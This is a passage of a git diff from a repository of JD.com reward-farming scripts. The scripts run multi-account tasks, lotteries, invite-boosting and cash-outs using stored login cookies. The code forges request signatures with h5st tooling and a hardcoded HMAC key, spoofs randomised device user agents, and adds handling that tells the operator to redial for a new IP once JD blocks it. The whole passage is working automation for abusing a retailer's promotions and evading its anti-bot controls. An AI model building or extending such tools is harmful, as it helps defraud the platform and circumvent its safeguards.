data.data.result.taskVos[i].times; k < data.data.result.taskVos[i].maxTimes; k++) { + for (let j in list) { + if (list[j].status === 1) { + console.log("\n" + (list[j].title || list[j].shopName || list[j].skuName)) + if (list[j].itemId) { + await harmony_collectScore(list[j].taskToken, data.data.result.taskVos[i].taskId, list[j].itemId, 1); + if (k === data.data.result.taskVos[i].maxTimes - 1) + await interact_template_getLotteryResult(data.data.result.taskVos[i].taskId); + } else { + await harmony_collectScore(list[j].taskToken, data.data.result.taskVos[i].taskId) + } + list[j].status = 2; + break; + } + } + } + } + if (scorePerLottery) + await interact_template_getLotteryResult(); + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve() + } + }) + }, timeout) + }) +} +//做任务 +function harmony_collectScore(taskToken, taskId, itemId = "", actionType = 0, timeout = 0) { + return new Promise((resolve) => { + setTimeout(() => { + let url = { + url: `${JD_API_HOST}`, + headers: { + 'Origin': `https://h5.m.jd.com`, + 'Cookie': cookie, + 'Connection': `keep-alive`, + 'Accept': `application/json, text/plain, */*`, + 'Referer': `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`, //?inviteId=P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ?inviteId=${shareCode} + 'Host': `api.m.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-cn` + }, + body: `functionId=${collectScoreFunPrefix}_collectScore&body={"appId":"${appId}","taskToken":"${taskToken}","taskId":${taskId}${itemId ? ',"itemId":"'+itemId+'"' : ''},"actionType":${actionType}&client=wh5&clientVersion=1.0.0` + } + $.post(url, async(err, resp, data) => { + try { + data = JSON.parse(data); + if (data.data.bizMsg === "任务领取成功") { + await harmony_collectScore(taskToken, taskId, itemId, 0, parseInt(browseTime) * 1000); + } else { + console.log(data.data.bizMsg) + var tempMsg =data.data.bizMsg; + if(tempMsg=="已达到助力上限") + llcanhelp=false; + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve() + } + }) + }, timeout) + }) +} +//抽奖 +function interact_template_getLotteryResult(taskId, timeout = 0) { + return new Promise((resolve) => { + setTimeout(() => { + let url = { + url: `${JD_API_HOST}`, + headers: { + 'Origin': `https://h5.m.jd.com`, + 'Cookie': cookie, + 'Connection': `keep-alive`, + 'Accept': `application/json, text/plain, */*`, + 'Referer': `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html?inviteId=P04z54XCjVXmYaW5m9cZ2f433tIlGBj3JnLHD0`, //?inviteId=P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ P225KkcRx4b8lbWJU72wvZZcwCjVXmYaS5jQ + 'Host': `api.m.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-cn` + }, + body: `functionId=${lotteryResultFunPrefix}_getLotteryResult&body={"appId":"${appId}"${taskId ? ',"taskId":"'+taskId+'"' : ''}}&client=wh5&clientVersion=1.0.0` + } + //console.log(url.body) + //if (appId === "1EFRTxQ") url.body = `functionId=ts_getLottery&body={"appId":"${appId}"${taskId ? ',"taskId":"'+taskId+'"' : ''}}&client=wh5&clientVersion=1.0.0&appid=golden-egg` + $.post(url, async(err, resp, data) => { + try { + if (!timeout) + console.log('\n开始抽奖') + data = JSON.parse(data); + if (data.data.bizCode === 0) { + if (data.data.result.userAwardsCacheDto.jBeanAwardVo) { + console.log('京豆:' + data.data.result.userAwardsCacheDto.jBeanAwardVo.quantity) + $.beans += parseInt(data.data.result.userAwardsCacheDto.jBeanAwardVo.quantity) + } + if (data.data.result.raiseInfo) + scorePerLottery = parseInt(data.data.result.raiseInfo.nextLevelScore); + if (parseInt(data.data.result.userScore) >= scorePerLottery && scorePerLottery) { + await interact_template_getLotteryResult(1000) + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve() + } + }) + }, timeout) + }) +} + +//通知 +function showMsg() { + message += `任务已完成,本次运行获得京豆${$.beans}` + return new Promise(resolve => { + if ($.beans) + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + $.log(`【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function Env(t, e) { + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } + : t; + let s = this.get; + return "POST" === e && (s = this.post), + new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, + this.http = new s(this), + this.data = null, + this.dataFile = "box.dat", + this.logs = [], + this.isMute = !1, + this.isNeedRewrite = !1, + this.logSeparator = "\n", + this.startTime = (new Date).getTime(), + Object.assign(this, e), + this.log("", `\ud83d\udd14${this.name}, \u5f00\u59cb!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) + try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, + r = e && e.timeout ? e.timeout : r; + const[o, h] = i.split("@"), + a = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(a, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) + return {}; { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) + return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) + return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) + try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), + s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), + s = this.setval(JSON.stringify(o), i) + } + } else + s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), + this.cktough = this.cktough ? this.cktough : require("tough-cookie"), + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, + t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), + this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + this.ckjar.setCookieSync(s, null), + e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) + this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + }); + else if (this.isQuanX()) + t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t) { + let e = { + "M+": (new Date).getMonth() + 1, + "d+": (new Date).getDate(), + "H+": (new Date).getHours(), + "m+": (new Date).getMinutes(), + "s+": (new Date).getSeconds(), + "q+": Math.floor(((new Date).getMonth() + 3) / 3), + S: (new Date).getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, ((new Date).getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let s in e) + new RegExp("(" + s + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? e[s] : ("00" + e[s]).substr(("" + e[s]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) + return t; + if ("string" == typeof t) + return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } + : this.isSurge() ? { + url: t + } + : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))); + let h = ["", "==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="]; + h.push(e), + s && h.push(s), + i && h.push(i), + console.log(h.join("\n")), + this.logs = this.logs.concat(h) + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), + console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + } + (t, e) +} diff --git a/jd_speed_happy_dig.ts b/jd_speed_happy_dig.ts deleted file mode 100644 index b4ca842e3..000000000 --- a/jd_speed_happy_dig.ts +++ /dev/null @@ -1,159 +0,0 @@ -/** - * 极速版-挖宝 - * 助力,挖宝,任务,提现 - * cron: 2 0,1,18 * * * - * CK1 HW.ts -> 内部 - * CK2~n 内部 -> HW.ts - */ - -import {get, getshareCodeHW, o2s, randomString, requireConfig, wait} from './TS_USER_AGENTS' -import {H5ST} from "./utils/h5st"; - -let cookie: string = '', res: any = '', UserName: string, data: any, h5stTool: any = new H5ST("ce6c2", "jdltapp;", "9929056438203725") - -interface INVITE { - inviter: string, - inviteCode: string -} - -let shareCodes: INVITE[] = [], shareCodesHW = [], shareCodesSelf: INVITE[] = [] - -!(async () => { - let cookiesArr: string[] = await requireConfig() - for (let [index, value] of cookiesArr.entries()) { - try { - cookie = value - UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) - console.log(`\n开始【京东账号${index + 1}】${UserName}\n`) - - await h5stTool.__genAlgo() - res = await api('happyDigHome', {"linkId": "pTTvJeSTrpthgk9ASBVGsw"}) - console.log('助力码', res.data.markedPin, res.data.inviteCode) - shareCodesSelf.push({inviter: res.data.markedPin, inviteCode: res.data.inviteCode}) - } catch (e) { - console.log('error') - } - await wait(2000) - } - console.log('内部助力') - o2s(shareCodesSelf) - - for (let [index, value] of cookiesArr.entries()) { - try { - cookie = value - UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) - console.log(`\n开始【京东账号${index + 1}】${UserName}\n`) - - await h5stTool.__genAlgo() - if (shareCodesHW.length === 0) { - shareCodesHW = await getshareCodeHW('fcwb') - } - if (index === 0 && cookiesArr.length === 1) { - shareCodes = Array.from(new Set([...shareCodesHW, ...shareCodesSelf])) - } else { - shareCodes = Array.from(new Set([...shareCodesSelf, ...shareCodesHW])) - } - - for (let code of shareCodesSelf) { - console.log(`去助力 ${code.inviteCode}`) - res = await api('happyDigHelp', {"linkId": "pTTvJeSTrpthgk9ASBVGsw", "inviter": code.inviter, "inviteCode": code.inviteCode}) - if (res.code === 0) { - console.log('助力成功') - await wait(2000) - break - } else if (res.code === 16143) { - console.log('已助力') - } else if (res.code === 16144) { - console.log('上限') - await wait(2000) - break - } else { - o2s(res) - } - await wait(2000) - } - - res = await api('apTaskList', {"linkId": "pTTvJeSTrpthgk9ASBVGsw"}) - await wait(1000) - - for (let t of res.data) { - if (t.taskType === 'BROWSE_CHANNEL' && t.taskDoTimes === 0 && t.taskLimitTimes === 1) { - console.log(t.taskShowTitle) - data = await api('apDoTask', {"linkId": "pTTvJeSTrpthgk9ASBVGsw", "taskType": "BROWSE_CHANNEL", "taskId": t.id, "channel": 4, "itemId": encodeURIComponent(t.taskSourceUrl), "checkVersion": false}) - await wait(1000) - if (data.success) { - console.log('任务完成') - } else { - o2s(data, '任务失败') - } - } - } - } catch (e) { - console.log('error', e) - await wait(2000) - } - } - - for (let [index, value] of cookiesArr.entries()) { - cookie = value - UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) - console.log(`\n开始【京东账号${index + 1}】${UserName}\n`) - - await h5stTool.__genAlgo() - res = await api('happyDigHome', {"linkId": "pTTvJeSTrpthgk9ASBVGsw"}) - let blood: number = res.data.blood - for (let i = 0; i < 4; i++) { - try { - if (blood <= 1) { - console.log('能量剩余1,跳过 A') - break - } - for (let j = 0; j < 4; j++) { - if (blood <= 1) { - console.log('能量剩余1,跳过 B') - break - } - res = await api('happyDigDo', {"round": 1, "rowIdx": i, "colIdx": j, "linkId": "pTTvJeSTrpthgk9ASBVGsw"}) - o2s(res) - - if (res.data.chunk.type === 1) { - console.log('挖到👎') - } else if (res.data.chunk.type === 2) { - console.log('挖到🧧', parseFloat(res.data.chunk.value)) - } else if (res.data.chunk.type === 4) { - console.log('挖到💣') - } - await wait(1000) - res = await api('happyDigHome', {"linkId": "pTTvJeSTrpthgk9ASBVGsw"}) - if (res.data.blood === 1) { - blood = 1 - console.log('能量剩余1,退出') - break - } - await wait(4000) - } - } catch (e) { - console.log('error', res?.errMsg) - } - } - } -})() - -async function api(fn: string, body: object) { - let timestamp: number = Date.now() - let h5st: string = h5stTool.__genH5st({ - appid: 'activities_platform', - body: JSON.stringify(body), - client: 'H5', - clientVersion: '1.0.0', - functionId: fn, - t: timestamp.toString(), - }) - return await get(`https://api.m.jd.com/?functionId=${fn}&body=${encodeURIComponent(JSON.stringify(body))}&t=${timestamp}&appid=activities_platform&client=H5&clientVersion=1.0.0&h5st=${h5st}`, { - 'Host': 'api.m.jd.com', - 'Origin': 'https://bnzf.jd.com', - 'User-Agent': `jdapp;iPhone;10.2.2;14.3;${randomString(40)};M/5.0;network/wifi;ADID/;model/iPhone12,1;addressid/4199175193;appBuild/167863;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;`, - 'Referer': 'https://bnzf.jd.com/', - 'Cookie': cookie - }) -} \ No newline at end of file diff --git a/jd_speed_monitor.ts b/jd_speed_monitor.ts deleted file mode 100644 index c0f675aff..000000000 --- a/jd_speed_monitor.ts +++ /dev/null @@ -1,36 +0,0 @@ -import axios from 'axios' -import {sendNotify} from './sendNotify'; -import {requireConfig} from './TS_USER_AGENTS' - -const CryptoJS = require('crypto-js'); -let cookie: string = '', UserName: string - -!(async () => { - let cookiesArr: string[] = await requireConfig() - cookie = cookiesArr[Math.random() * cookiesArr.length | 0] - UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) - console.log(` ${UserName}\n`) - - let t: number = Date.now(), fn: string = 'MyAssetsService.execute', body: object = {"method": "goldShopPage", "data": {"channel": 1}} - let params: string = `lite-android&${JSON.stringify(body)}&android&3.1.0&${fn}&${t}&846c4c32dae910ef` - let key = CryptoJS.HmacSHA256(params, '12aea658f76e453faf803d15c40a72e0').toString() - - let {data} = await axios.get(`https://api.m.jd.com/api?functionId=${fn}&body=${encodeURIComponent(JSON.stringify(body))}&appid=lite-android&client=android&uuid=846c4c32dae910ef&clientVersion=3.1.0&t=${t}&sign=${key}`, { - headers: { - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'kernelplatform': 'RN', - 'user-agent': 'JDMobileLite/3.1.0 (iPad; iOS 14.4; Scale/2.00)', - 'accept-language': 'zh-Hans-CN;q=1, ja-CN;q=0.9', - 'Cookie': cookie - } - }) - - for (let t of data.data.gears) { - console.log(t.amount) - if (t.amount === '50' || t.amount === '10') { - await sendNotify('极速版金币', `${t.amount}🧧`) - break - } - } -})() diff --git a/jd_speed_signfaker.js b/jd_speed_sign_Mod.js similarity index 94% rename from jd_speed_signfaker.js rename to jd_speed_sign_Mod.js index fa543834b..c634b6d6a 100644 --- a/jd_speed_signfaker.js +++ b/jd_speed_sign_Mod.js @@ -1,31 +1,14 @@ /* -京东极速版签到+赚现金任务 -每日9毛左右,满3,10,50可兑换无门槛红包 -⚠️⚠️⚠️一个号需要运行40分钟左右 - -活动时间:长期 -活动入口:京东极速版app-现金签到 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#京东极速版 -21 3,8 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js, tag=京东极速版, img-url=https://raw.githubusercontent.com/Orz-3/task/master/jd.png, enabled=true - -================Loon============== -[Script] -cron "21 3,8 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js,tag=京东极速版 - -===============Surge================= -京东极速版 = type=cron,cronexp="21 3,8 * * *",wake-system=1,timeout=33600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js - -============小火箭========= -京东极速版 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_speed_sign.js, cronexpr="21 3,8 * * *", timeout=33600, enable=true +cron "0 6 * * *" jd_speed_sign_Mod.js, tag:京东极速版任务 */ -const $ = new Env('京东极速版'); + //详细说明参考 https://github.com/ccwav/QLScript2. +const $ = new Env('京东极速版任务'); + const notify = $.isNode() ? require('./sendNotify') : ''; //Node.js用户请在jdCookie.js处填写京东ck; const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +let llAPIError=false; let cookiesArr = [], cookie = '', message; if ($.isNode()) { Object.keys(jdCookieNode).forEach((item) => { @@ -36,12 +19,15 @@ if ($.isNode()) { } else { cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); } + const JD_API_HOST = 'https://api.m.jd.com/', actCode = 'visa-card-001'; + + !(async () => { if (!cookiesArr[0]) { $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); return; - } + } for (let i = 0; i < cookiesArr.length; i++) { if (cookiesArr[i]) { cookie = cookiesArr[i]; @@ -61,7 +47,12 @@ const JD_API_HOST = 'https://api.m.jd.com/', actCode = 'visa-card-001'; continue } await jdGlobal() - await $.wait(2*1000) + await $.wait(10*1000) + + if (llAPIError){ + console.log(`黑IP了,赶紧重新拨号换个IP吧`); + break; + } } } })() @@ -74,22 +65,26 @@ const JD_API_HOST = 'https://api.m.jd.com/', actCode = 'visa-card-001'; async function jdGlobal() { try { + await richManIndex() await wheelsHome() await apTaskList() await wheelsHome() - // await signInit() - // await sign() - await invite() - await invite2() + //await signInit() + //await sign() $.score = 0 $.total = 0 await taskList() await queryJoy() // await signInit() await cash() + var date = new Date(); + if(new Date(date.getFullYear(), date.getMonth()+1, 0).getDate() == date.getDate()){ + console.log('月底了,自动领下单红包奖励') + await orderReward() + } await showMsg() } catch (e) { $.logErr(e) @@ -115,7 +110,7 @@ async function signInit() { try { if (err) { console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`signInit API请求失败,请检查网路重试`) } else { if (safeGet(data)) { data = JSON.parse(data); @@ -142,7 +137,7 @@ async function sign() { try { if (err) { console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`sign API请求失败,请检查网路重试`) } else { if (safeGet(data)) { data = JSON.parse(data); @@ -162,6 +157,68 @@ async function sign() { }) } +async function orderReward(type) { + let t = +new Date() + var headers = { + 'Host': 'api.m.jd.com', + 'accept': 'application/json, text/plain, */*', + 'content-type': 'application/x-www-form-urlencoded', + 'origin': 'https://palace.m.jd.com', + 'accept-language': 'zh-cn', + 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'referer': 'https://palace.m.jd.com/?lng=110.917107&lat=22.2706&sid=abefac3cfbcb550b542e4c064dbcabfw&un_area=19_1684_1687_6233', + 'Cookie': cookie + }; + if (type) { + var dataString = `functionId=OrderRewardService&body={"method":"receiveReward","data":{"orderQty":${type}}}&_t=${t}&appid=market-task-h5&eid=`; + } else { + var dataString = `functionId=OrderRewardService&body={"method":"queryRewards","data":{}}&_t=${t}&appid=market-task-h5&eid=`; + } + var options = { + url: `https://api.m.jd.com/`, + headers: headers, + body: dataString + }; + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`orderReward API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.isSuccess) { + if (data.data.details) { + $.details = data.data.details + for (let item of $.details) { + if (item.status === 2) { + console.log(`\n检测到【下单领红包】有奖励可领取,开始领取奖励`) + await orderReward(item.orderQty); + await $.wait(2000) + } else if (item.status === 1) { + console.log(`\n【下单领红包】暂无奖励可领取,再下${data.data.needOrderQty}单可领取${data.data.rewardAmount}元`) + break + } + } + } else { + if (data.code === 0) { + console.log(`奖励领取结果,获得${data.data.rewardAmount}元`) + } else { + console.log(`奖励领取结果:获得${JSON.stringify(data)}`) + } + } + } else { + console.log(`\n其他情况:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } + }) +} + + async function taskList() { return new Promise(resolve => { $.get(taskUrl('ClientHandleService.execute', { @@ -173,12 +230,12 @@ async function taskList() { try { if (err) { console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`taskList API请求失败,请检查网路重试`) } else { if (safeGet(data)) { data = JSON.parse(data); for (let task of data.data) { - $.taskName = task.taskInfo.mainTitle + $.taskName = task.taskInfo.mainTitle; if (task.taskInfo.status === 0) { if (task.taskType >= 1000) { await doTask(task.taskType) @@ -196,6 +253,9 @@ async function taskList() { } else { console.log(`${task.taskInfo.mainTitle}已完成`) } + + if (llAPIError) + break; } } } @@ -217,7 +277,8 @@ async function doTask(taskId) { try { if (err) { console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`doTask API请求失败,请检查网路重试`) + llAPIError=true; } else { if (safeGet(data)) { data = JSON.parse(data); @@ -244,7 +305,7 @@ async function queryJoy() { try { if (err) { console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`queryJoy API请求失败,请检查网路重试`) } else { if (safeGet(data)) { data = JSON.parse(data); @@ -273,7 +334,7 @@ async function rewardTask(id, taskId) { try { if (err) { console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`rewardTask API请求失败,请检查网路重试`) } else { if (safeGet(data)) { data = JSON.parse(data); @@ -304,7 +365,9 @@ async function queryItem(activeType = 1) { try { if (err) { console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) + console.log(`queryItem API请求失败,请检查网路重试`) + $.canStartNewItem = false; + 